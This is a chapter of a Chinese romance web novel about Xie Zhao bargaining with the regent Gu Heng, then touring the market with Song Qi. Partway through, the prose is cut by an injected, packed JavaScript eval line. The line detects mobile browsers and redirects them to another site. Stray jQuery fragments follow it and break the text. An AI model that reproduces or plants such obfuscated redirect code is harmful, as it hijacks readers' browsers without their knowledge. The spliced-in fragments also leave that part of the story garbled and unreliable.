默认冷灰
24号文字
方正启体

12. 得寸进尺

作者:维熙Vesper本书字数:K更新时间:
    就如同被老师叫进办公室喝茶一样,谢昭进顾珩书房也是一回生二回熟,尽管王府的何管家仍用那种要送她上路一般的眼神看着她,谢昭这回可没那么忐忑了。


    顾珩听见脚步声,却没有抬头,只是意味不明地说了句,“听说谢姑娘想要炸了本王的王府?还尝试了三回?”


    谢昭适才积累的胆气瞬间一扫而空。


    当然,她要是这么容易被打倒,也就不叫谢昭了。


    面对眼前这个寒气逼人的摄政王,谢昭却不退反进,从一丈远的书案前挪到了顾珩跟前,把手中提的食盒往顾珩桌上一放。


    “王爷说的未免失之偏颇了,”谢昭把食盒盖子一揭,往顾珩那里一推,“我分明是为了给王爷做点心,不顾自身安危也要感谢王爷收留之恩。”


    她双手托腮,就这样盯着顾珩看。


    这样的行为按理来说早已僭越,顾珩本想让她退下,可当他对上谢昭那一双眼睛时,不知为何顿住了。


    他感觉到他心底空掉的那一块奇迹般有了愈合的趋势。


    他不自觉侧过脸去,闷声道,“别靠本王那么近,这招没用。”


    谢昭偏不,她顺手拿起一块荷花酥就往顾珩手边递,“王爷,这可是我耗费整整一天为您做的荷花酥,您当真不尝尝吗?这还是王爷最喜欢的点心呢。”


    “谁同你说的?”顾珩凤眸微眯,“你想做些什么?”


    上下打量了一番谢昭,摄政王才终于找回了主场,“从前我听你父亲说,你是一个温柔娴静的姑娘,”他把谢昭那双手推开,一言难尽道,“看来传闻并不可信。”


    谢昭:“……”


    完了,光记得自由发挥,忘记原主人设这一茬。


    她很快就想到一个绝妙的理由,“王爷都说了,以前是以前,如今是如今,而今爹爹蒙冤而亡,我若要为他翻案,怎么还能像以前一样柔弱不知世事呢……”


    说着,便好似忍不住一般拭了拭眼角的眼泪。


    “戏过了。”顾珩冷淡地评价道。


    还不等谢昭反驳,顾珩就补上了一句,“这恐怕才是你的本性。”


    不愧是摄政王,一眼就识破了谢昭的伪装,不过谢昭并未气馁,而是劝顾珩道:“王爷真不尝尝?”


    “……”


    顾珩在谢昭期待的眼神中捏起了一小块放入嘴中。


    他看着谢昭那双又紧张又期待的眼睛,不知为何起了戏弄的心思。


    “一般。”他面不改色地说。


    谢昭:“……”想掀桌。


    就这?!她辛辛苦苦炸了三回锅,就换来一句“一般”?


    她猛地抱起食盒,赌气般道:“王爷既然不喜欢,那我留着自个儿吃罢了!省得被人糟蹋!”


    “等等。”顾珩话语里带上了一丝浅淡的笑意,“就这么走了,那一百两银子怎么办?”


    谢昭站在门口,一下就心平气和了起来。


    她微笑着转过身,觉得自己真是天底下最敬业的打工人了:“能被王爷品尝是它的荣幸,王爷想怎么办,就怎么办!”


    顾珩唇边勾起笑意:“本王从不白拿别人的,说吧,你有什么要求?”


    谢昭的眼睛瞬间亮了起来。


    “王爷把刚才厨房的那笔账给消了吧?”


    “可。”


    “那王爷,我想要一点银两!”


    顾珩顿了一下,道:“可,等下找管家要。”


    “王爷王爷,我还想要上街去逛逛!”谢昭终于提出了这个终极目的。


    顾珩这回终于抬头,似乎忍无可忍道:“……谢昭,别得寸进尺。”


    可惜顾珩还是低估了某人的厚脸皮,只见谢昭对着门外的方向抹泪道:“爹爹,女儿不孝啊,如今寄人篱下仰人鼻息,就连出门也不得自由,就怕爹爹的冤案,永远没有昭雪的一日了……呜呜呜……”


    顾珩:“……”


    他无可奈何道:“可以去,但得让南风陪着你们,不要去打探你父亲的消息。”


    他略一凝眸,警告道:“否则,我无法保证你的安危。”


    谢昭此刻哪还顾得上这个,当即欣喜道:“多谢王爷,王爷简直是天底下最最最好的王爷!”


    她最擅长的就是得寸进尺了!


    顾珩看着她兴奋离去的背影,哑然失笑。


    ------


    青龙街上——


    “姑娘,姑娘,您看看这是什么!”苏纨笑着指着那些风筝,“又到了三月春呢!”


    谢昭抬头看去,一只燕子风筝在天边飘荡,而不知何处又传来孩童们的嬉笑打闹声,并着大街上小贩的吆喝声,更显得热闹非凡。


    但她却没来由的感觉到了一丝孤寂。


    忽然,眼前冲过一个人影。


    谢昭还没反应过来,就感觉到自己左肩被狠狠撞了一下——等等,这熟悉的触感。


    她猛地回过头去惊讶道:“宋祈,你没死?!”


    -----


    宋祈近日也不知是撞了什么邪,他一在府中,就有不知道从哪儿冒出来的公务像鬼一样缠着他,弄得他十分郁闷。


    虽然想想也知道是哪位搞得鬼,但是宋祈就是咽不下这口气。


    ——咽不下也得咽,谁让他是摄政王呢。


    宋祈在府内不知翻了多少个白眼,摄政王大人要与右相斗法,殃及他这条可怜的池鱼做什么。


    都是先皇遗命的四位托孤大臣,怎么偏偏就要往死里斗呢?


    宋祈想不明白,于是他就上街来转转。谁知,一上街就遇上了盗客,苦命的宋大人看见更苦命的农家妇人哭天喊地,怒从中来,一时顾不得身份便上前去追捕。


    想来安逸日久,功夫也渐渐生疏,宋祈原本在宫中游刃有余的速度,竟比不上这一个小贼,还不慎撞上一个姑娘。


    他正欲说声抱歉,就听见那姑娘竟准确地喊出了他的名字,还震惊于他目前活着的事实。


    宋祈:“……”他记得他没有惹上什么情债啊。


    这姑娘是谁啊,他怎么不记得了呢?


    ------


    “姑娘认得我?”宋祈连贼都忘记追了,停下来看着谢昭问道。


    事实上,当谢昭脱口而出那句话的时候,她就后悔了。


    在现实世界里,“谢昭”与“宋祈”根本就是毫无交集的两个人啊,她总不能说“是啊是啊,我们在顾珩的梦里见过,我还知道你乔装成太监上御膳房偷吃的呢”吧。


    说出来会被当成妖邪砍成血雾吧!


    幸好谢昭急中生智,冲着宋祈一笑,“抱歉宋大人,我自幼便听着宋大人英勇神武的事迹,本以为此生无缘相见,谁知竟能在此处碰上……倒真真是如梦似幻,一时竟然失却了分寸……若有幸能与大人同游,我此生便无憾了!”


    这句话真是漏洞百出,苏纨都不忍卒听。


    可是宋祈的眼睛里竟然缓缓浮现出一丝感动,他冲着谢昭道:“多谢姑娘关怀,然则宋某惭愧于恐怕不是姑娘所想的模样……”,他顿了顿,似乎又想起了什么似的,“为表谢意,我愿与姑娘同游,还请姑娘万万不要推辞!”


    苏纨都听服了,这也算是“卧龙遇凤雏”——同病相知了。


    其实谢昭也没有想到,她只是稍微的表现了一下自己的诚心,就能让宋祈感动至此。但是话已经撂出去了,自是覆水难收,她现在不得不硬着头皮上。


    她悄悄瞄了一眼南风的方向,发现早已不见了人影。


    这倒是个知情识趣的,谢昭想,要换做另外的木头,只怕早就跳出来了。


    好吧,她看着宋祈露出一个假笑,那就


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371253|199915||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看看这场戏该如何收场吧。


    -------


    其实根本不太用担心,谢昭逛了半晌才发现,宋祈或许算是另一种意义上的“闷葫芦”。


    这倒不是说他本人不善言辞不爱说话,事实上他的话并不少,而是指他对于女子所爱之物几乎是一窍不通。


    第一回,谢昭与苏纨逛到丝绸铺,谢昭的眼睛很快就被一匹水红色的布匹吸引,她用手轻轻抚过,同苏纨兴奋地讲:“这料子当真不错,若是能当成披风定是再好看不过的了!”


    苏纨正要点头,就听见宋祈在一旁连连摇头:“不妥,不妥,这料子质地太软,若是行军打仗,穿这个出去容易被发现不说,不到半日就得被磨破。”


    谢昭:“……多谢宋大人,不过我是买来做衣裳,不用上战场。”


    宋祈“哦”了一声,然后严肃道:“不过红色太艳丽,若是遭遇匪徒恐怕太过显眼,姑娘要做披风,换个低调的颜色或许会更好。”


    ……宋大人真是颇有远忧啊。


    第二回,谢昭与苏纨被一片璀璨夺目的金银饰品所吸引,谢昭拿起一根做工精巧的银簪,银簪顶端缀着细小的珍珠,并那满身带着如意吉祥寓意的祥云花纹,很快夺得了谢昭的欢心。


    这回还没等谢昭向苏纨示意,宋祈便抢先道:“不妥不妥,这银质细软,如若来日姑娘需要自保,只恐怕难以反击啊。”


    谢昭幽幽叹了口气:“那依宋大人之见,我是否带个铁簪子比较妥当?”


    谁知宋祈认真思考了半晌,竟当真认同地点了点头:“铁簪子的确更好一些。”


    幸好宋大人应当尚未娶妻——否则谢昭当真会同情他的夫人的。


    那简直是人间惨剧。


    当然,谢昭认真思索了一下是否自己的逛街姿势不对,既然带了宋祈这么个闷葫芦,就该去去雅俗共赏的地方才是。


    所以在接连失败两次之后,谢昭选择了一处看起来并不显眼的花铺。


    花草之类的总归是同归一流,难道宋祈还能从花花草草中分出会武的与不会武的吗?


    谢昭觉得自己这个主意简直是太棒了。


    与此同时,远处的声音开始在谢昭耳边炸响。


    “我出白银二十两!”一个青年男声高喝道。


    “二十两就想买国色牡丹?做梦去吧!我加到五十两!”又是一个男声不屑道。


    “你们懂什么!一百两!不出一百两配得上见它么!”一个女声冷冷道。


    此声一出,非但没有平息下适才竞价的激烈,反而将人声炒的愈来愈热烈,这株“国色牡丹”的价格也越飚越高,一路冲破了两百两大关。


    谢昭听得瞠目结舌,作为一个一百两银子都要发愁的人,她实在是无法理解这二百两银子只为一株花的豪奢。


    她凑上前去,想要一睹这株“国色牡丹”的芳华。


    冷不防听见店家讲:“既然各位客官都是诚心诚意想要这株‘国色’,小店也不好抉择向哪位贵客割爱,不若随缘而至,等会小店会抛掷绣球,谁接到了,这株‘国色’就归谁,如何?”


    “不要银两?!”底下有人惊呼一声。


    戴着面具的店家似乎微不可查地笑了一下:“名花自有主。”


    谢昭此时正站在人群底下看热闹,突然一个红色的圆球从天而降,直直冲她而来。


    谢昭想也不想就伸手接住。


    紧接着,她发现自己似乎成为了人群的焦点,那帮原先为争价拼的你死我活的人,都红着眼紧紧地盯着她手中的绣球看,好似那是无上珍宝。


    “看来名花已有主啦。”台上的店主恶劣地一笑,却让谢昭猛然意识到她现在的处境有多危险。


    为何厄运专冲着她来?


    谢昭为自己的倒霉属性而感到深深的绝望。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)